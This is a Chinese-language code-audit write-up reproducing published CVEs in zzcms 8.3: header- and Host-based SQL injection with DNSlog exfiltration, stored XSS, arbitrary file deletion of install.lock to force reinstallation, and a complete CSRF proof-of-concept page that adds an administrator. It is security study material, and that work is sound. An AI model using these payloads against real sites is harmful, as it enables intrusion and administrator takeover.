zzcms之前在8.2版本是就爆出过不少问题,本文对zzcms8.3版本已爆出过的CVE漏洞进行分析复现,这套CMS也很适合刚入坑的代码审计小伙伴们练习。跟着师傅们学习一下,欢迎与师傅们的交流讨论
问题文件: /zzcms8.3/user/check.php
漏洞分析
这是一个在8.2版本就存在的SQL注入漏洞,在check.php的19行,存在问题的原因是因为在SQL语句中使用了getip方法获取用户IP。
跟进getip方法,在inc/function.php 的100行
可以看到这里并没有对IP进行判断或过滤,可以在http头添加client-ip对IP进行伪造,导致了SQL注入
漏洞复现
该漏洞存在于所有包含了check.php的页面,由于没有直接回显,可以通过盲注或利用DNSlog带出。而cve里师傅提供了一个很好的利用点在/user/manage.php,该页面包含了check.php,并在表单中回显数据。利用SQL语句中UPDATE更新数据库中的值,例如address=(select database())
,然后直接在表单中回显出来。
问题文件: /zzcms8.3/dl/dl_sendmail.php
漏洞分析
在dl_sendmail.php的42到45行,将POST方法接受到的SQL内容拼接另一段SQL语句然后执行。本来进行了全局过滤,但是这里使用了stripfxg方法处理收到的SQL内容。这个方法的使用导致了许多漏洞的产生。(这套CMS的全局过滤关键代码在/inc/stopsqlin.php,将POST,GET,COOKIE传进来的数据添加反斜杠进行转义及将特殊字符转换为HTML实体)
strpfxg方法将传来的字符串中添加的反斜杠去除,如果参数$htmlspecialchars_decode
为true会把html实体符号解码,这就将原本全句过滤的语句还原为正常数据,如果获取的数据采用了这个方法后直接带入查询语句中导致漏洞的产生。(这套cms产生的许多漏洞都是由于stripfxg方法使用不当导致的)
这导致在最后拼接后,SQL语句相当于没有进行任何过滤。
漏洞复现
思路很清晰,直接POSTSQL语句
问题文件: /zzcms8.3/zt/top.php
漏洞分析
在top.php的3到6行,使用了$_SERVER['HTTP_HOST']
获取域名,并直接拼接到SQL语句,而\$_SERVER是不在cms的全局过滤范围里的,所以如果可以控制host就可以注入。CVE里师傅提供了一个点,就是在Nginx环境下$_SERVER['HTTP_HOST']
是可以控制的,如果在Nginx环境好办了,只需找到一个包含top.php的页面就可以进行注入。(实际自己在复现的过程中,apache也是可以的)
漏洞复现
在/zt/job.php包含了top.php,可以在job.php进行注入。
由于没有回显,采用盲注或DNSlog带出数据。简单说一下DNSlog,对于SQL注入,一些注入都是无回显的,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发网站的防御机制,而Dnslog盲注可以减少发送的请求,直接回显数据实现注入。DNSlog在MySQL里利用的是load_file()函数,load_file()函数除了可以读取本地的文件还可以用来发送dns解析请求,使用load_file需要有FILE权限。使用时尽量使用Hex编码,可以避免一些特殊符号的产生,这些特殊符号拼接在域名里是无法做dns查询的,因为域名是有一定的规范,有些特殊符号是不能带入的。
两个好用的免费dnslog平台:http://ceye.io/ http://dnsbin.zhack.ca
问题文件: /zzcms8.3/zt/show.php
漏洞分析
这又是一个stripfxg使用不当造成的漏洞,在/zt/show.php中对变量$content 直接进行输出,并使用了stripfxg方法,之前说到过,这个方法能将转义过滤后的数据还原,这样的话又是相当于没有过滤,只需找到变量输入点即可造成xss漏洞。
而在/user/manage.php的58到60行,这里有更新表数据的操作,这里将$content写进数据库中
漏洞复现
在/user/manage.php点击源码写入paylaod
然后访问http://www.zzcms3.test/zt/show.php?id=1
或http://www.zzcms3.test/zt/companyshow.php?id=1
就可以触发漏洞
关于任意文件删除漏洞,在这套CMS里很经典,爆出过很过多,思路大都相同。文件删除漏洞可以配合之前爆出过的安装漏洞(CVE-2018-8966)直接getshell。
漏洞分析
首先看CVE-2018-13056
问题文件: /zzcms8.3/user/del.php
漏洞位置在del.php的55到69行,思路比较清晰,首先需要传入tablename令其值为zzcms_main进入分支语句,然后执行SQL语句查询zzcms_main的img,flv,editor的值,之后判断img是否等于/image/nopic.gif,如果不是则添加“../”,如果文件存在则删除。所以我们仅需要在zzcms_main存入恶意img的值就可以删除任意文件。
而在/user/zssave.php中可以添加
CVE-2018-16344是差不多相同的思路,但是这里上传视频功能需要管理员去开启才可以。
实际上这样的漏洞还存在于这套CMS的很多地方,比如user/manage.php等
漏洞复现
在/user/zssave.php上传图片,点击发布信息抓包,修改img=/install/insall.lock
然后访问/user/del.php
删除成功显示重装了
问题文件: /zzcms8.3/admin/adminadd.php
漏洞分析
常见的CSRF攻击利用方式,由于管理后台设计敏感操作的表单没有设置token,导致可以使用CSRF去添加管理员
漏洞复现
POC:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.224.138/admin/adminadd.php?action=add" method="POST">
<input type="hidden" name="groupid" value="1" />
<input type="hidden" name="admins" value="123" />
<input type="hidden" name="passs" value="123" />
<input type="hidden" name="passs2" value="123" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
只需诱导管理员点击构造好的恶意页面,即可添加管理员
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17136
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14961
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000653
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14962
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13056
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16344
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14963